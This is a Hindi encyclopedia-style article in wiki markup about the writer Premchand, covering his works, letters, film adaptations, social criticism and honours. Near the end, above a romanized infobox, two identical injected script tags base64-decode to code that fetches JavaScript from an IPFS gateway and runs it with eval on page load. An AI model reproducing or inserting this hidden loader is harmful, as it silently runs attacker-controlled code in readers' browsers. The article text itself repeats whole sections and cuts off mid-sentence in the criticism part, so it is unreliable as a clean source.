प्रदर्शनी के संयोजक और हिन्दी के समालोचक डॉ. कमल किशोर गोयनका ने इस अवसर पर कहा कि प्रेमचंद हिन्दी और उर्दू के साथ-साथ अंग्रेज़ी भाषा के अच्छे जानकार थे। डॉ. गोयनका ने बताया कि प्रेमचंद अपनी कृतियों की रूपरेखा पहले अंग्रेज़ी में ही लिखते थे। उसके बाद उसका अनुवाद करते हुए हिन्दी या उर्दू में रचना पूरी कर देते थे। डॉ. गोयनका ने कहा कि प्रेमचंद ने अपनी महान् कृति '[[गोदान]]' की भी रूपरेखा पहले अंग्रेज़ी में लिखी थी जिसकी मूल प्रति यहाँ प्रदर्शनी में लगाई गई है। उनके एक अलिखित उपन्यास की रूपरेखा भी अंग्रेज़ी में लिखी हुई उन्हें मिली है। प्रेमचंद ने रंग भूमि और [[कायाकल्प]] उपन्यासों की रूपरेखा भी अंग्रेज़ी में लिखी थी। उनकी डायरी भी अंग्रेज़ी में लिखी हुई मिली है। वहीं, प्रदर्शनी में पंडित [[जवाहर लाल नेहरू]] के अपनी पुत्री को अंग्रेज़ी में लिखे गए पत्रों का अनुवाद हिन्दी में करने के [[आचार्य नरेन्द्र देव]] का प्रेमचंद को लिखा गया आग्रह पत्र भी रखा गया है। प्रेमचंद ने पं नेहरू के इन पत्रों को [[हिन्दी]] में रूपान्तरित किया था। [[दिल्ली विश्वविद्यालय]] में प्रोफेसर रहे डा. गोयनका ने कहा कि वर्ष [[1972]] में प्रेमचंद पर पी.एच.डी करने के बाद उन्होंने प्रेमचंद द्वारा रचित 1500 से अधिक पृष्ठों का अप्राप्य साहित्य खोजा। इसमें 30 नई कहानियाँ मिलीं। प्रोफेसर महावीर सरन जैन ने प्रेमचन्द के कथा-साहित्य के भाषिक स्वरूप का विश्लेषण किया।<ref name="prem">{{cite web |url=http://in.jagran.yahoo.com/sahitya/article/index.php?page=article&category=5&articleid=943 |title= कृतियों की रूपरेखा अंग्रेज़ी में लिखते थे प्रेमचंद  |accessmonthday=[[9 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher= |language=[[हिन्दी]] }}</ref>
 
 
 
==कृतियाँ==
 
[[चित्र:Godan.jpg|thumb|[[गोदान]]]]
 
प्रेमचंद की कृतियाँ [[भारत]] के सर्वाधिक विशाल और विस्तृत वर्ग की कृतियाँ हैं। उन्होंने [[उपन्यास]], [[कहानी]], [[नाटक]], समीक्षा, लेख, सम्पादकीय, संस्मरण आदि अनेक विधाओं में साहित्य की सृष्टि की, किन्तु प्रमुख रूप से वह कथाकार हैं। उन्हें अपने जीवन काल में ही '''उपन्यास सम्राट''' की पदवी मिल गयी थी। उन्होंने कुल 15 उपन्यास, 300 से कुछ अधिक कहानियाँ, 3 नाटक, 10 अनुवाद, 7 बाल-पुस्तकें तथा हज़ारों पृष्ठों के लेख, सम्पादकीय, भाषण, भूमिका, पत्र आदि की रचना की। जिस [[युग]] में प्रेमचंद ने क़लम उठाई थी, उस समय उनके पीछे ऐसी कोई ठोस विरासत नहीं थी और न ही विचार और प्रगतिशीलता का कोई मॉडल ही उनके सामने था सिवाय '''बांग्ला साहित्य''' के। उस समय [[बंकिम चंद्र चट्टोपाध्याय|बंकिम बाबू]] थे, [[शरतचंद्र चट्टोपध्याय|शरतचंद्र]] थे और इसके अलावा टॉलस्टॉय जैसे रूसी साहित्यकार थे। लेकिन होते-होते उन्होंने [[गोदान]] जैसे कालजयी उपन्यास की रचना की जो कि एक आधुनिक क्लासिक माना जाता है। उन्होंने चीज़ों को खुद गढ़ा और खुद आकार दिया। जब [[भारत]] का स्वतंत्रता आंदोलन चल रहा था तब उन्होंने कथा साहित्य द्वारा [[हिन्दी]] और [[उर्दू भाषा|उर्दू]] दोनों भाषाओं को जो अभिव्यक्ति दी उसने सियासी सरगर्मी को, जोश को और आंदोलन को सभी को उभारा और उसे ताक़तवर बनाया और इससे उनका लेखन भी ताक़तवर होता गया। प्रेमचंद इस अर्थ में निश्चित रूप से हिन्दी के पहले प्रगतिशील लेखक कहे जा सकते हैं। [[1936]] में उन्होंने [[अखिल भारतीय प्रगतिशील लेखक संघ|प्रगतिशील लेखक संघ]] के पहले सम्मेलन को सभापति के रूप में संबोधन किया था। उनका यही भाषण प्रगतिशील आंदोलन के घोषणा पत्र का आधार बना। प्रेमचंद ने हिन्दी में कहानी की एक परंपरा को जन्म दिया और एक पूरी पीढ़ी उनके क़दमों पर आगे बढ़ी, 50-60 के दशक में '[[फणीश्वरनाथ रेणु|रेणु]]', '[[नागार्जुन]]' और इनके बाद '''श्रीनाथ सिंह''' ने ग्रामीण परिवेश की कहानियाँ लिखी हैं, वो एक तरह से प्रेमचंद की परंपरा के तारतम्य में आती हैं। प्रेमचंद एक क्रांतिकारी रचनाकार थे, उन्होंने न केवल देशभक्ति बल्कि समाज में व्याप्त अनेक कुरीतियों को देखा और उनको कहानी के माध्यम से पहली बार लोगों के समक्ष रखा। उन्होंने उस समय के समाज की जो भी समस्याएँ थीं उन सभी को चित्रित करने की शुरुआत कर दी थी। उसमें दलित भी आते हैं, नारी भी आती हैं। ये सभी विषय आगे चलकर हिन्दी साहित्य के बड़े विमर्श बने।<ref name="pressnot"></ref>
 
 
 
 
==प्रेमचंद के पत्र==
 
==प्रेमचंद के पत्र==
 
{{Main|प्रेमचंद के पत्र}}
 
{{Main|प्रेमचंद के पत्र}}
प्रेमचंद ने अपने जीवन-काल में हज़ारों पत्र लिखे होंगे, लेकिन उनके जो पत्र काल का ग्रास बनने से बचे रह गए और जो सम्प्रति उपलब्ध हैं, उनमें सर्वाधिक पत्र वे हैं जो उन्होंने अपने काल की लोकप्रिय [[उर्दू]] मासिक [[पत्रिका]] ‘ज़माना’ के यशस्वी सम्पादक [[मुंशी दयानारायण निगम]] को लिखे थे। यों तो मुंशी दयानारायण निगम प्रेमचंद से दो वर्ष छोटे थे लेकिन प्रेमचंद उनको सदा बड़े भाई जैसा सम्मान देते रहे। इन दोनों विभूतियों के पारस्परिक सम्बन्धों को परिभाषित करना तो अत्यन्त दुरूह कार्य है, लेकिन प्रेमचंद के इस आदर भाव का कारण यह प्रतीत होता है कि प्रेमचंद को साहित्यिक संसार में पहचान दिलाने का महनीय कार्य निगम साहब ने उनको ‘ज़माना’ में निरन्तर प्रकाशित करके ही सम्पादित किया था, और उस काल की पत्रिकाओं में तो यहाँ तक प्रकाशित हुआ कि प्रेमचंद को प्रेमचंद बनाने का श्रेय यदि किसी को है तो मुंशी दयानारायण निगम को ही है। ध्यातव्य यह भी है कि नवाबराय के लेखकीय नाम से लिखने वाले धनपतराय श्रीवास्तव ने प्रेमचंद का वह लेखकीय नाम भी मुंशी दयानारायण निगम के सुझाव से ही अंगीकृत किया था जिसकी छाया में उनका वास्तविक तथा अन्य लेखकीय नाम गुमनामी के अंधेरों में खोकर रह गए। मुंशी प्रेमचंद और मुंशी दयानारायण निगम के घनिष्ठ आत्मीय सम्बन्ध ही निगम साहब को सम्बोधित प्रेमचंद के पत्रों को अत्यधिक महत्त्वपूर्ण बना देते हैं क्योंकि इन पत्रों में प्रेमचंद ने जहाँ सामाजिक और राजनीतिक समस्याओं पर चर्चा की है वहीं अपनी घरेलू तथा आर्थिक समस्याओं की चर्चा करने में भी संकोच नहीं किया।<ref>{{cite web |url=http://www.hindisamay.com/contentDetail.aspx?id=878&pageno=1 |title=प्रेमचंद के पत्र |accessmonthday=22 मार्च|accessyear=2013 |last=जैन |first=प्रदीप |authorlink= |format= |publisher=हिंदी समय |language=हिंदी }}</ref>
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प्रेमचंद ने अपने जीवन-काल में हज़ारों पत्र लिखे होंगे, लेकिन उनके जो पत्र काल का ग्रास बनने से बचे रह गए और जो सम्प्रति उपलब्ध हैं, उनमें सर्वाधिक पत्र वे हैं जो उन्होंने अपने काल की लोकप्रिय [[उर्दू]] मासिक [[पत्रिका]] ‘ज़माना’ के यशस्वी सम्पादक [[मुंशी दयानारायण निगम]] को लिखे थे। यों तो मुंशी दयानारायण निगम प्रेमचंद से दो वर्ष छोटे थे लेकिन प्रेमचंद उनको सदा बड़े भाई जैसा सम्मान देते रहे। इन दोनों विभूतियों के पारस्परिक सम्बन्धों को परिभाषित करना तो अत्यन्त दुरूह कार्य है, लेकिन प्रेमचंद के इस आदर भाव का कारण यह प्रतीत होता है कि प्रेमचंद को साहित्यिक संसार में पहचान दिलाने का महनीय कार्य निगम साहब ने उनको ‘ज़माना’ में निरन्तर प्रकाशित करके ही सम्पादित किया था, और उस काल की पत्रिकाओं में तो यहाँ तक प्रकाशित हुआ कि प्रेमचंद को प्रेमचंद बनाने का श्रेय यदि किसी को है तो मुंशी दयानारायण निगम को ही है।<ref>{{cite web |url=http://www.hindisamay.com/contentDetail.aspx?id=878&pageno=1 |title=प्रेमचंद के पत्र |accessmonthday=22 मार्च|accessyear=2013 |last=जैन |first=प्रदीप |authorlink= |format= |publisher=हिंदी समय |language=हिंदी }}</ref>
 
==प्रेमचंद का स्वर्णिम युग==
 
==प्रेमचंद का स्वर्णिम युग==
[[चित्र:Jaishankar-prasad-premchand.jpg|thumb|[[जयशंकर प्रसाद]] के साथ प्रेमचंद]]
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{{Main|प्रेमचंद का स्वर्णिम युग}}
प्रेमचंद की उपन्यास-कला का यह स्वर्ण युग था। सन् [[1931]] के आरम्भ में '''[[ग़बन]]''' प्रकाशित हुआ था। [[16 अप्रैल]], [[1931]] को प्रेमचंद ने अपनी एक और महान् रचना, '''[[कर्मभूमि]]''' शुरू की। यह अगस्त, [[1932]] में प्रकाशित हुई। प्रेमचंद के पत्रों के अनुसार सन् 1932 में ही वह अपना अन्तिम महान् उपन्यास, '''[[गोदान]]''' लिखने में लग गये थे, यद्यपि ‘हंस’ और ‘जागरण’ से सम्बंधित अनेक कठिनाइयों के कारण इसका प्रकाशन जून, [[1936]] में ही सम्भव हो सका। अपनी अन्तिम बीमारी के दिनों में उन्होंने एक और उपन्यास, ‘[[मंगलसूत्र -प्रेमचंद|मंगलसूत्र]]’, लिखना शुरू किया था, किन्तु अकाल मृत्यु के कारण यह अपूर्ण रह गया। '''‘ग़बन’, ‘कर्मभूमि’ और ‘गोदान’- उपन्यासत्रयी पर विश्व के किसी भी कृतिकार को गर्व हो सकता है। ‘कर्मभूमि’ अपनी क्रांतिकारी चेतना के कारण विशेष महत्त्वपूर्ण है'''। [[लाहौर]] [[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]] के अधिवेशन में अध्यक्ष-पद से भाषण देते हुए [[जवाहरलाल नेहरू]] ने घोषित किया था। ‘मैं गणतंत्रवादी और समाजवादी हूँ।’ कर्मभूमि इस अशान्त काल की प्रतिध्वनियों से भरा हुआ उपन्यास है। गोर्की के उपन्यास, ‘माँ’ के समान ही यह उपन्यास भी क्रान्ति की कला पर लगभग एक प्रबंध-ग्रन्थ है। यह उपन्यास अद्भुत पात्रों की एक सम्पूर्ण शृंखला प्रस्तुत करता है। अमर कांत, समरकान्त, सक़ीना, सुखदा, पठानिन, मुन्नी। अमरकान्त और समरकान्त पाठकों को पिता और पुत्र, नेहरू-द्वय का स्मरण दिलाते हैं। मुन्नी, पठानिन, सक़ीना और लाला समरकान्त सभी की परिणति घटनाओं द्वारा होती है।
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प्रेमचंद की उपन्यास-कला का यह स्वर्ण युग था। सन् [[1931]] के आरम्भ में '''[[ग़बन]]''' प्रकाशित हुआ था। [[16 अप्रैल]], [[1931]] को प्रेमचंद ने अपनी एक और महान् रचना, '''[[कर्मभूमि]]''' शुरू की। यह अगस्त, [[1932]] में प्रकाशित हुई। प्रेमचंद के पत्रों के अनुसार सन् 1932 में ही वह अपना अन्तिम महान् उपन्यास, '''[[गोदान]]''' लिखने में लग गये थे, यद्यपि ‘हंस’ और ‘जागरण’ से सम्बंधित अनेक कठिनाइयों के कारण इसका प्रकाशन जून, [[1936]] में ही सम्भव हो सका। अपनी अन्तिम बीमारी के दिनों में उन्होंने एक और उपन्यास, ‘[[मंगलसूत्र -प्रेमचंद|मंगलसूत्र]]’, लिखना शुरू किया था, किन्तु अकाल मृत्यु के कारण यह अपूर्ण रह गया। '''‘ग़बन’, ‘कर्मभूमि’ और ‘गोदान’- उपन्यासत्रयी पर विश्व के किसी भी कृतिकार को गर्व हो सकता है। ‘कर्मभूमि’ अपनी क्रांतिकारी चेतना के कारण विशेष महत्त्वपूर्ण है'''।{{दाँयाबक्सा|पाठ=प्रेमचंद उनका साहित्यिक नाम था और बहुत वर्षों बाद उन्होंने यह नाम अपनाया था। उनका वास्तविक नाम ‘धनपत राय’ था। जब उन्होंने सरकारी सेवा करते हुए कहानी लिखना आरम्भ किया, तब उन्होंने नवाब राय नाम अपनाया। बहुत से मित्र उन्हें जीवन-पर्यन्त 'नवाब' के नाम से ही सम्बोधित करते रहे।|विचारक=}}
  
==प्रेमचंद मुंशी कैसे बने==
 
सुप्रसिद्ध साहित्यकारों के मूल नाम के साथ कभी-कभी कुछ [[उपनाम]] या विशेषण ऐसे घुल-मिल जाते हैं कि साहित्यकार का मूल नाम तो पीछे रह जाता है और यह उपनाम या विशेषण इतने प्रसिद्ध हो जाते हैं कि उनके बिना कवि या रचनाकार का नाम अधूरा-सा लगने लगता है। साथ ही मूल नाम अपनी पहचान ही खोने लगता है। भारतीय जनमानस की संवेदना में बसे उपन्यास सम्राट 'प्रेमचंद' जी भी इस पारंपरिक तथ्य से अछूते नहीं रह सके। उनका नाम यदि मात्र प्रेमचंद लिया जाय तो अधूरा सा प्रतीत होता है। प्रेमचंद जी के नाम के साथ 'मुंशी' कब और कैसे जुड़ गया? इस विषय में अधिकांश लोग यही मान लेते हैं कि प्रारम्भ में प्रेमचंद अध्यापक रहे। अध्यापकों को प्राय: उस समय मुंशी जी कहा जाता था। इसके अतिरिक्त कायस्थों के नाम के पहले सम्मान स्वरूप 'मुंशी' शब्द लगाने की परम्परा रही है। संभवत: प्रेमचंद जी के नाम के साथ मुंशी शब्द जुड़कर रूढ़ हो गया। इस जिज्ञासा की पूर्ति हेतु प्रेमचंद जी के सुपुत्र एवं सुप्रसिद्ध साहित्यकार श्री अमृत राय जी के अनुसार प्रेमचंद जी ने अपने नाम के आगे 'मुंशी' शब्द का प्रयोग स्वयं कभी नहीं किया। उनका यह भी मानना है कि मुंशी शब्द सम्मान सूचक है, जिसे प्रेमचंद के प्रशंसकों ने कभी लगा दिया होगा। यह तथ्य अनुमान पर आधारित है। यह बात सही है कि मुंशी शब्द सम्मान सूचक है। यह भी सच है कि कायस्थों के नाम के आगे मुंशी लगाने की परम्परा रही है तथा अध्यापकों को भी 'मुंशी जी' कहा जाता था। <ref>{{cite web |url=http://www.abhivyakti-hindi.org/snibandh/2005/premchand.htm |title=प्रेमचंद मुंशी कैसे बने |accessmonthday=[[29 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एचटीएम |publisher=अभिव्यक्ति |language=[[हिन्दी]] }}</ref>
 
{{दाँयाबक्सा|पाठ=प्रेमचंद उनका साहित्यिक नाम था और बहुत वर्षों बाद उन्होंने यह नाम अपनाया था। उनका वास्तविक नाम ‘धनपत राय’ था। जब उन्होंने सरकारी सेवा करते हुए कहानी लिखना आरम्भ किया, तब उन्होंने नवाब राय नाम अपनाया। बहुत से मित्र उन्हें जीवन-पर्यन्त 'नवाब' के नाम से ही सम्बोधित करते रहे।|विचारक=}}
 
 
==प्रेमचंद और सिनेमा==
 
==प्रेमचंद और सिनेमा==
प्रेमचंद [[हिन्दी सिनेमा]] के सबसे अधिक लोकप्रिय साहित्यकारों में से हैं। उनके देहांत के दो वर्षों बाद के. सुब्रमण्यम ने [[1938]] में '''सेवासदन''' उपन्यास पर फ़िल्म बनाई जिसमें [[एम. एस. सुब्बुलक्ष्मी|सुब्बुलक्ष्मी]] ने मुख्य भूमिका निभाई थी। प्रेमचंद की कुछ कहानियों पर और फ़िल्में भी बनी हैं, जैसे [[सत्यजित राय]] की फ़िल्म '''शतरंज के खिलाड़ी'''<ref name="baljai">{{cite web |url=http://baljaihindi.blogspot.com/2009/05/blog-post_2397.html |title=हमारे साहित्यकार - प्रेमचंद |accessmonthday=[[14 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=बाल जयहिन्दी |language=[[हिन्दी]] }}</ref>  प्रेमचंद ने '''मज़दूर''' शीर्षक फ़िल्म के लिए संवाद लिखे। फ़िल्म के स्वामियों ने कहानी की रूपरेखा तैयार की थी। फ़िल्म में एक देश-प्रेमी मिल-मालिक की कथा थी, किन्तु सेंसर को यह भी सहन न हो सका। फिर भी फ़िल्म का प्रदर्शन [[पंजाब]], [[दिल्ली]], [[उत्तर प्रदेश]] और [[मध्य प्रदेश]] में हुआ। फ़िल्म का मज़दूरों पर इतना असर हुआ कि पुलिस बुलानी पड़ गई। अंत में फ़िल्म के प्रदर्शन पर भारत सरकार ने रोक लगा दी। इस फ़िल्म में प्रेमचंद स्वयं भी कुछ क्षण के लिए रजतपट पर अवतीर्ण हुए। मज़दूरों और मालिकों के बीच एक संघर्ष में वे पंच की भूमिका में आए थे। एक लेख में प्रेमचंद ने सिनेमा की हालत पर अपना भरपूर रोष और असन्तोष व्यक्त किया है। वह साहित्य के ध्येय की तुलना करते हैं: <br />
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{{Main|प्रेमचंद और सिनेमा}}
“साहित्य के भावों की जो उच्चता, भाषा की जो प्रौढ़ता और स्पष्टता, सुन्दरता की जो साधना होती है, वह हमें वहाँ नहीं मिलती। उनका उद्देश्य केवल पैसा कमाना है, सुरुचि या सुन्दरता से उन्हें कोई प्रयोजन नहीं। व्यापार, व्यापार है। व्यापार में भावुकता आई और व्यापार नष्ट हुआ। वहाँ तो जनता की रुचि पर निगाह रखनी पड़ती है, और चाहे संसार का संचालन देवताओं के ही हाथों में क्यों न हो, मनुष्य पर निम्न मनोवृत्तियों ही का राज्य होता है। जिस शौक़ से लोग ताड़ी और शराब पीते हैं, उसके आधे शौक़ से दूध नहीं पीते। इसकी दवा निर्माता के पास नहीं। जब तक एक चीज़ की मांग है, वह बाज़ार में आएगी। कोई उसे रोक नहीं सकता। अभी वह ज़माना बहुत दूर है, जब [[सिनेमा]] और [[साहित्य]] का एक रूप होगा। लोक-रुचि जब इतनी परिष्कृत हो जायगी कि वह नीचे ले जाने वाली चीज़ों से घृणा करेगी, तभी सिनेमा में साहित्य की सुरुचि दिखाई पड़ सकती है।”<ref name="pbk"></ref> [[1977]] में [[मृणाल सेन]] ने प्रेमचंद की कहानी '''कफ़न''' पर आधारित ओका ऊरी कथा से एक तेलुगु फ़िल्म बनाई जिसको सर्वश्रेष्ठ [[तेलुगु भाषा|तेलुगु]] फ़िल्म का राष्ट्रीय पुरस्कार भी मिला। [[1963]] में '''गोदान''' और [[1966]] में '''ग़बन''' उपन्यास पर लोकप्रिय फ़िल्में बनीं। [[1980]] में उनके उपन्यास पर बना टीवी धारावाहिक निर्मला भी बहुत लोकप्रिय हुआ था। <ref name="pressnot">{{cite web |url=http://www.pressnote.in/profile-of-munshi-premchand_87311.html |title=उपन्यास सम्राट प्रेमचंद  |accessmonthday=[[14 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=प्रेसनोट डॉट इन |language=[[हिन्दी]] }}</ref>
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प्रेमचंद [[हिन्दी सिनेमा]] के सबसे अधिक लोकप्रिय साहित्यकारों में से हैं। उनके देहांत के दो वर्षों बाद के. सुब्रमण्यम ने [[1938]] में '''सेवासदन''' उपन्यास पर फ़िल्म बनाई जिसमें [[एम. एस. सुब्बुलक्ष्मी|सुब्बुलक्ष्मी]] ने मुख्य भूमिका निभाई थी। प्रेमचंद की कुछ कहानियों पर और फ़िल्में भी बनी हैं, जैसे [[सत्यजित राय]] की फ़िल्म '''शतरंज के खिलाड़ी'''<ref name="baljai">{{cite web |url=http://baljaihindi.blogspot.com/2009/05/blog-post_2397.html |title=हमारे साहित्यकार - प्रेमचंद |accessmonthday=[[14 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=बाल जयहिन्दी |language=[[हिन्दी]] }}</ref>  प्रेमचंद ने '''मज़दूर''' शीर्षक फ़िल्म के लिए संवाद लिखे। फ़िल्म के स्वामियों ने कहानी की रूपरेखा तैयार की थी। फ़िल्म में एक देश-प्रेमी मिल-मालिक की कथा थी, किन्तु सेंसर को यह भी सहन न हो सका। फिर भी फ़िल्म का प्रदर्शन [[पंजाब]], [[दिल्ली]], [[उत्तर प्रदेश]] और [[मध्य प्रदेश]] में हुआ। फ़िल्म का मज़दूरों पर इतना असर हुआ कि पुलिस बुलानी पड़ गई। अंत में फ़िल्म के प्रदर्शन पर भारत सरकार ने रोक लगा दी। इस फ़िल्म में प्रेमचंद स्वयं भी कुछ क्षण के लिए रजतपट पर अवतीर्ण हुए। मज़दूरों और मालिकों के बीच एक संघर्ष में वे पंच की भूमिका में आए थे। एक लेख में प्रेमचंद ने सिनेमा की हालत पर अपना भरपूर रोष और असन्तोष व्यक्त किया है। वह साहित्य के ध्येय की तुलना करते हैं: <br />{{दाँयाबक्सा|पाठ=साहित्य के भावों की जो उच्चता, भाषा की प्रौढ़ता और स्पष्टता, सुन्दरता की जो साधना होती है, वह हमें सिनेमा में नहीं मिलती।|विचारक=प्रेमचंद}}
==रूढ़िवाद का विरोध==
 
जिस समय मुंशी प्रेमचन्द का जन्म हुआ वह युग सामाजिक- धार्मिक रूढ़िवाद से भरा हुआ था। इस रूढ़िवाद से स्वयं प्रेमचन्द भी प्रभावित हुए। तब प्रेमचन्द ने कथा-साहित्य का सफर शुरू किया, और अनेकों प्रकार के रूढ़िवाद से ग्रस्त समाज को यथा शक्ति कला के शस्र से मुक्त कराने का संकल्प लिया। अपनी कहानी के बालक के माध्यम से यह घोषणा करते हुए कहा कि "मैं निरर्थक रूढ़ियों और व्यर्थ के बन्धनों का दास नहीं हूँ।"
 
{{दाँयाबक्सा|पाठ=साहित्य के भावों की जो उच्चता, भाषा की प्रौढ़ता और स्पष्टता, सुन्दरता की जो साधना होती है, वह हमें सिनेमा में नहीं मिलती।|विचारक=प्रेमचंद}}
 
;समाज में व्याप्त रुढियाँ
 
सामाजिक रुढियों के संदर्भ में प्रेमचन्द ने वैवाहिक रुढियों जैसे बेमेल विवाह, बहुविवाह, अभिभावकों द्वारा आयोजित विवाह, पुनर्विवाह, [[दहेज प्रथा]], [[विधवा विवाह]], पर्दाप्रथा, [[बाल विवाह]], वृद्धविवाह, पतिव्रत धर्म तथा वारंगना वृद्धि के संबंध में बड़ी संवेदना और सचेतना के साथ लिखा है। तत्कालीन समाज में यह बात घर कर गई थी कि तीन पुत्रों के बाद जन्म लेने वाली पुत्री अपशकुन होती है। उन्होंने इस रूढ़ि का अपनी कहानी '''तेंतर''' के माध्यम से कड़ा विरोध किया है। [[होली]] के अवसर पर पाये जाने वाली रूढ़ि की निन्दा करते हुए वह कहते हैं कि अगर पीने- पिलाने के बावज़ूद [[होली]] एक पवित्र त्योहार है तो चोरी और रिश्वतखोरी को भी पवित्र मानना चाहिए। उनके अनुसार त्योहारों का मतलब है अपने भाइयों से प्रेम और सहानुभूति करना ही है। आर्थिक जटिलताओं के बावज़ूद आतिथ्य- सत्कार को मर्यादा एवं प्रतिष्ठा का प्रश्न मान लेने जैसे रूढ़ि की भी उन्होंने निन्दा की है।
 
;धार्मिक रुढियाँ
 
प्रेमचन्द महान् साहित्यकार के साथ-साथ एक महान् दार्शनिक भी थे। मुंशीजी की दार्शनिक निगाहों ने धर्म की आड़ में लोगों का शोषण करने वालों को अच्छी तरह भाँप लिया था। वह उनके वाह्य विधि-विधानों एवं आंतरिक अशुद्धियों को पहचान चुके थे। इन सब को परख कर प्रेमचन्द ने प्रण ले लिया था कि वह धार्मिक रूढ़िवादिता को खत्म करने का प्रयास करेंगे।
 
 
==पुरस्कार==
 
==पुरस्कार==
 
[[चित्र:Munshi-Premchand.jpg|thumb|प्रेमचंद के सम्मान में जारी डाक टिकट]]
 
[[चित्र:Munshi-Premchand.jpg|thumb|प्रेमचंद के सम्मान में जारी डाक टिकट]]
मुंशी प्रेमचंद की स्मृति में भारतीय डाक विभाग की ओर से [[31 जुलाई]], [[1980]] को उनकी जन्मशती के अवसर पर 30 पैसे मूल्य का एक [[डाक टिकट]] जारी किया। [[गोरखपुर]] के जिस स्कूल में वे शिक्षक थे, वहाँ प्रेमचंद साहित्य संस्थान की स्थापना की गई है। इसके बरामदे में एक भित्तिलेख है जिसका चित्र दाहिनी ओर दिया गया है। यहाँ उनसे संबंधित वस्तुओं का एक संग्रहालय भी है। जहाँ उनकी एक वक्षप्रतिमा भी है।<ref name="pressnot"></ref> प्रेमचंद की पत्नी शिवरानी देवी ने '''प्रेमचंद घर में''' नाम से उनकी जीवनी लिखी और उनके व्यक्तित्व के उस हिस्से को उजागर किया है, जिससे लोग अनभिज्ञ थे। उनके ही बेटे [[अमृत राय]] ने 'क़लम का सिपाही' नाम से पिता की जीवनी लिखी है। उनकी सभी पुस्तकों के [[अंग्रेज़ी भाषा|अंग्रेज़ी]] व [[उर्दू भाषा|उर्दू]] रूपांतर तो हुए ही हैं, चीनी, रूसी आदि अनेक विदेशी भाषाओं में उनकी कहानियाँ लोकप्रिय हुई हैं।
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मुंशी प्रेमचंद की स्मृति में भारतीय डाक विभाग की ओर से [[31 जुलाई]], [[1980]] को उनकी जन्मशती के अवसर पर 30 पैसे मूल्य का एक [[डाक टिकट]] जारी किया। [[गोरखपुर]] के जिस स्कूल में वे शिक्षक थे, वहाँ प्रेमचंद साहित्य संस्थान की स्थापना की गई है। इसके बरामदे में एक भित्तिलेख है जिसका चित्र दाहिनी ओर दिया गया है। यहाँ उनसे संबंधित वस्तुओं का एक संग्रहालय भी है। जहाँ उनकी एक वक्षप्रतिमा भी है। प्रेमचंद की पत्नी शिवरानी देवी ने '''प्रेमचंद घर में''' नाम से उनकी जीवनी लिखी और उनके व्यक्तित्व के उस हिस्से को उजागर किया है, जिससे लोग अनभिज्ञ थे। उनके ही बेटे [[अमृत राय]] ने 'क़लम का सिपाही' नाम से पिता की जीवनी लिखी है। उनकी सभी पुस्तकों के [[अंग्रेज़ी भाषा|अंग्रेज़ी]] व [[उर्दू भाषा|उर्दू]] रूपांतर तो हुए ही हैं, चीनी, रूसी आदि अनेक विदेशी भाषाओं में उनकी कहानियाँ लोकप्रिय हुई हैं।
 
==आलोचना==
 
==आलोचना==
प्रेमचंद की बढ़ती हुई ख्याति से कुछ व्यक्तियों के मन में बड़ी कुढ़न और ईर्ष्या हो रही थी। इनमें से एक, श्री अवध उपाध्याय ने प्रेमचंद के विरुद्ध साहित्यिक चोरी का अभियोग लगाया और उनके विरुद्ध छह महीने तक लेख लिखे। बीजगणित के मान्य फ़ार्मूलों से वे सिद्ध करते रहे कि—<br />
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प्रेमचंद की बढ़ती हुई ख्याति से कुछ व्यक्तियों के मन में बड़ी कुढ़न और ईर्ष्या हो रही थी। इनमें से एक, श्री अवध उपाध्याय ने प्रेमचंद के विरुद्ध साहित्यिक चोरी का अभियोग लगाया और उनके विरुद्ध छह महीने तक लेख लिखे। बीजगणित के मान्य फ़ार्मूलों से वे सिद्ध करते रहे कि- <br />
  
 
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
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*[http://www.rachanakar.org/2013/08/blog-post.html प्रेमचन्द का कथा-साहित्यः भावगत और भाषिक प्रदेय]
 
*[http://www.rachanakar.org/2013/08/blog-post.html प्रेमचन्द का कथा-साहित्यः भावगत और भाषिक प्रदेय]
 
*[http://www.rachanakar.org/2013/08/blog-post.html#ixzz2ah5zQUW6 प्रोफेसर महावीर सरन जैन का आलेख- प्रेमचन्द का कथा-साहित्यः भावगत और भाषिक प्रदेय]
 
*[http://www.rachanakar.org/2013/08/blog-post.html#ixzz2ah5zQUW6 प्रोफेसर महावीर सरन जैन का आलेख- प्रेमचन्द का कथा-साहित्यः भावगत और भाषिक प्रदेय]
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{साहित्यकार}}{{प्रेमचंद की कृतियाँ}}
 
{{साहित्यकार}}{{प्रेमचंद की कृतियाँ}}

Revision as of 12:15, 14 October 2017

premachand vishay soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand
poora nam muanshi premachand
any nam navab ray
janm 31 julaee, 1880
janm bhoomi lamahi gaanv, varanasi, uttar pradesh
mrityu 8 aktoobar 1936
mrityu sthan varanasi, uttar pradesh
abhibhavak muanshi ajayab lal aur anandi devi
pati/patni shivarani devi
santan shripat ray aur amrit ray (putr)
karm bhoomi gorakhapur
karm-kshetr adhyapak, lekhak, upanyasakar
mukhy rachanaean gaban, godan, b de ghar ki beti, namak ka daroga adi
vishay samajik
bhasha hindi
vidyalay ilahabad vishvavidyalay
shiksha snatak
prasiddhi upanyas samrat
nagarikata bharatiy
sahityik adarshonmukh yatharthavad
andolan pragatishil lekhak andolan
